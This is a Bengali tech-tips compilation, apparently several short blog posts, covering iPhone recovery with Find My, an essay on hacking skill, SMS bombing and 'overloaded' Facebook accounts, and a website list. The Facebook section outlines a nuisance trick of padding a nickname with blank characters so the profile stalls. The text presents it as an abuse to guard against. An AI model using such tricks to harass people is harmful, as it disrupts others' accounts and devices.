আপনার আই ফোনটি হারিয়ে গেলে খুঁজে পাবেন কিভাবে

আপনার হারিয়ে যাওয়া আই ফোনের হদিস জানতে আপনাকে আগে থেকে যেসব বিষয়ে নজর রাখতে হবে সেগুলো হলো –

আপনার আই ফোনটি আপডেট রাখুন। iOS 13 বা পরবর্তি ভার্সন ব্যবহার করুন।

Apple Watch আপডেট রাখুন।

লোকেশন সার্ভিস এবং Find My Device অপশন চালু রাখুন।

কিভাবে খুঁজে বের করবেন ,

আপনার ডিভাইসটি হারিয়ে যাওয়ার আগে আপনি যদি Find My Device অপশন চালু রাখেন তাহলে এই অপশনটি ব্যবহার করেই আপনি আপনার আই ফোন খুঁজে বের করতে পারবেন। এছাড়াও আপনার ফোনের Offline Findings অন্য রাখার সুবাদে আপনার আই ফোনটি কোন নেটওয়ার্কের সাথে কানেক্টেড না থাকলে তা খুঁজে বের করতে পারবেন।

আপনার আই ফোন টি ম্যাপে খুঁজে বের করার জন্য

Find My App ওপেন করুন।

Device ট্যাব বাছাই করুন।

ম্যাপে লোকেশন দেখার জন্য Device টি সিলেক্ট করুন।

আপনার ফোনে রিং বাজানোর জন্য

Find My App ওপেন করুন।

Device ট্যাব বাছাই করুন।

আপনার হারিয়ে যাওয়া Device টি সিলেক্ট করুন এবং Play Sound অপশনটি বেছে নিন। এক্ষেত্রে আপনার ফোনটি অফলাইনে থাকলে কোন রিং হবে না। তবে কোন নেটওয়ার্কের সাথে কানেক্টেড থাকলে রিং হবে।

ম্যাপে আপনার ফোনের ডিরেকশন পেতে

Find My App ওপেন করুন।

Device ট্যাব বাছাই করুন।

আপনার হারিয়ে যাওয়া Device টি সিলেক্ট করুন এবং ম্যাপে আপনার ফোনের অবস্থান দেখতে Directions সিলেক্ট করুন।

হ্যাক করা সহজ কিন্তু, হ্যাকার হওয়া?

কম্পিউটারের CPU শুধু সামনের দিকে তাকিয়ে কাজ করতে পারলেও মানুষ সামনে-পেছনে সবদিকে তাকিয়েই কাজ করতে পারে। কিন্তু, সেই বুদ্ধিমান মানুষের কাছেও আজকের বিশ্বে অনেক বড় চ্যালেঞ্জ হয়ে দাঁড়িয়েছে- সাইবার নিরাপত্তা নিশ্চিত করা। কারন ১০ বছর আগের তুলনায় এখন হ্যাকিং করা সহজ হয়ে গিয়েছে। বিভিন্ন হ্যাকিং সফটওয়্যার বিনামূল্যেই **open source** হিসেবে ফ্রিতে অনলাইনে পাওয়া যাচ্ছে। সেগুলো ব্যাবহার করে হ্যাক করা হচ্ছে প্রতিদিনই। কিন্তু, হ্যাক করা সহজ হলেও হ্যাকার হওয়া সহজ না।

হ্যাকার হওয়া কঠিন কেনো?

আপনি যদি ১২ হাজার টাকা দিয়েও একটি **ethical hacking** কোর্স করেন, তারপরও কোর্সে দেখানো হ্যাকিং পদ্ধতি অনুসরন করে কাউকে হ্যাক করতে পারবেন না। কারন, আপনাকে যেসব হ্যাকিং শেখানো হবে, সফটওয়্যার কোম্পানি গুলোও সেসব জানে। ফলে, অনেক আগেই তারা তাদের সফটওয়্যারের আপডেট ভার্সন বানিয়ে দিয়েছে। তাই, কোর্সের দেখানো পদ্ধতিতে নতুন ভার্সনের সফটওয়্যার হ্যাক করা সম্ভব না। শুধুমাত্র যেসকল ব্যক্তি সফটওয়্যারের আপডেট আসার পরেও পুরাতন ভার্সনের

সফটওয়্যারই ব্যাবহার করবে, তাদেরকে হ্যাক করা যাবে। অর্থাৎ, কোর্স করে আপনি স্বল্প পরিধিতে হ্যাকিং করতে পারলেও আপনি এখনও হ্যাকার হয়ে যান নি। হ্যাকার তখনই হবেন যখন কম্পিউটার কাজ সম্বন্ধে দক্ষ হবেন এবং নিজে থেকেই হ্যাক করার নতুন পথ উদ্ভাবন করতে পারবেন।

অর্থাৎ, কম্পিউটারের ওপর দক্ষতা অর্জন না করলে হ্যাকার হওয়া সম্ভব না। কিন্তু, অনলাইনে ২/৪ টি ভিডিও দেখেই ছোটখাটো হ্যাকিং করা সম্ভব। তাই, কাউকে হ্যাকিং করতে দেখেই তাকে টাকা দিয়ে কাজ করিয়ে নিতে যাবেন না। কারন, সেই ব্যক্তি যেসব হ্যাকিং দেখিয়েছে, **Youtube** ভিডিও দেখে আপনিও সেগুলো করতে পারবেন। **তারা ২/১ টি হ্যাকিং জানে; কিন্তু, তারা হ্যাকার না।**

২ টি ট্রেন্ডি সাইবার টপিক

এসএমএস বোম্বিং | ওভারলোড একাউন্ট

বর্তমানে আমাদের দেশের সাইবার জগতে যেই ২ টি কাজ খুব বেশি হচ্ছে সেগুলো হলো-

* এসএমএস বোম্বিং এবং

* ওভারলোড ফেসবুক একাউন্ট তৈরি করা।

এসএমএস বোম্বিং

এসএমএস বোম্বিং বলতে বোঝায়- কারও মোবাইল নম্বরে প্রচুর পরিমাণে sms দিতে থাকা। এসএমএস বোম্বিং করার কিছু ফ্রি সফটওয়্যারও চলে এসেছে। কেউ যদি আপনার মোবাইল নম্বরে এসএমএস বোম্বিং করে তাহলে, আপনার মোবাইলে sms আসতেই থাকবে। এমনকি যেই নম্বর থেকে sms আসবে, সেই নম্বরটি blacklist এ পাঠালেও হয়তো sms আসতেই থাকবে। কারন, যেই ব্যক্তি আপনাকে sms পাঠাবে তার মোবাইল নম্বর প্রতিনিয়ত বদলাতে থাকবে। ফলে, এসএমএস বোম্বিং থেকে বাঁচতে পরিচিত মোবাইল নম্বরগুলি whitelist এ পাঠিয়ে বাকি সকল নম্বর blacklist এ পাঠাতে হয়।

ওভারলোড ফেসবুক একাউন্ট

স্কুল পড়ুয়া ছাত্রদের মধ্যে ওভারলোড ফেসবুক একাউন্ট তৈরি করার প্রবণতা ইদানীং খুব বেড়ে গেছে। কিন্তু, ওভারলোড ফেসবুক একাউন্ট বিষয়টা আসলে কি- সেটা অনেকেই হয়তো জানেন না। আপনার ফেসবুক নামের সাথে nickname দেওয়ার একটি অপশন আছে। সেই nickname এর ঘরে আপনার ডাক নাম লিখে দিতে পারেন। তবে, শুধুমাত্র নাম না লিখে নামের সাথে অসংখ্য পরিমাণ blank character লিখে দিলে সেই একাউন্টটি ওভারলোড ফেসবুক একাউন্ট হয়ে যাবে। ফলে, কেউ যখন তার প্রোফাইলে যেতে চাইবে তখন শুধু loading হতে থাকবে। কারন, একাউন্টের nickname লোডিং হতে প্রচুর সময় লাগবে।

উপরে যেই ২ টি বিষয়ে আলোচনা করলাম সেই ২ টি বিষয়ই এখন খারাপ উদ্দেশ্যে ব্যাবহার করা হচ্ছে। অপরাধীদের কাছে এসব করা হচ্ছে স্মার্টনেস। আপনাকেও স্মার্ট হতে হবে। তবে, অপরাধ করার জন্য নয়; বরং, অপরাধ প্রতিরোধ করার জন্য।

সেরা কিছু ওয়েবসাইট

everest3d

মাউন্ট এভারেস্টে ভার্চুয়ালি ভ্রমণ করতে চান? এখানে গিয়ে কম্পিউটারের মাধ্যমে 3D এভারেস্টের চারপাশ ঘুরে দেখতে পারবেন।

লিংকঃ http://www.everest3d.de/

dictation

এখানে গিয়ে আপনি মুখে কিছু বললেই আপনার সেই কথা লেখায় রূপান্তরিত হয়ে যাবে।

লিংকঃ https://dictation.io/

Whois

**এখানে গিয়ে যেকোন ওয়েবসাইটের নাম লিখে সার্চ দিলেই ওয়েবসাইটের মালিকের নাম থেকে শুরু করে অসংখ্য তথ্য পেয়ে যাবেন।

লিংকঃ https://www.whois.com/

chromeexperiments

সৌরজগৎ ঘুরে দেখতে চান? এই ওয়েবসাইটে গিয়ে দেখতে পারেন।

লিংকঃ https://stars.chromeexperiments.com/

Pixabay

ফ্রিতে প্রফেশনাল টাইপের ভিডিও ডাউনলোড করতে পারবেন এখান থেকে।

লিংকঃ https://pixabay.com/

webtopdf

এখানে গিয়ে যেকোন ওয়েব পেইজকে PDF বানাতে পারবেন। ফলে, ইন্টারনেট ছাড়াই বই হিসেবে সেই ওয়েব পেইজ দেখতে পারবেন।

লিংকঃ https://webtopdf.com/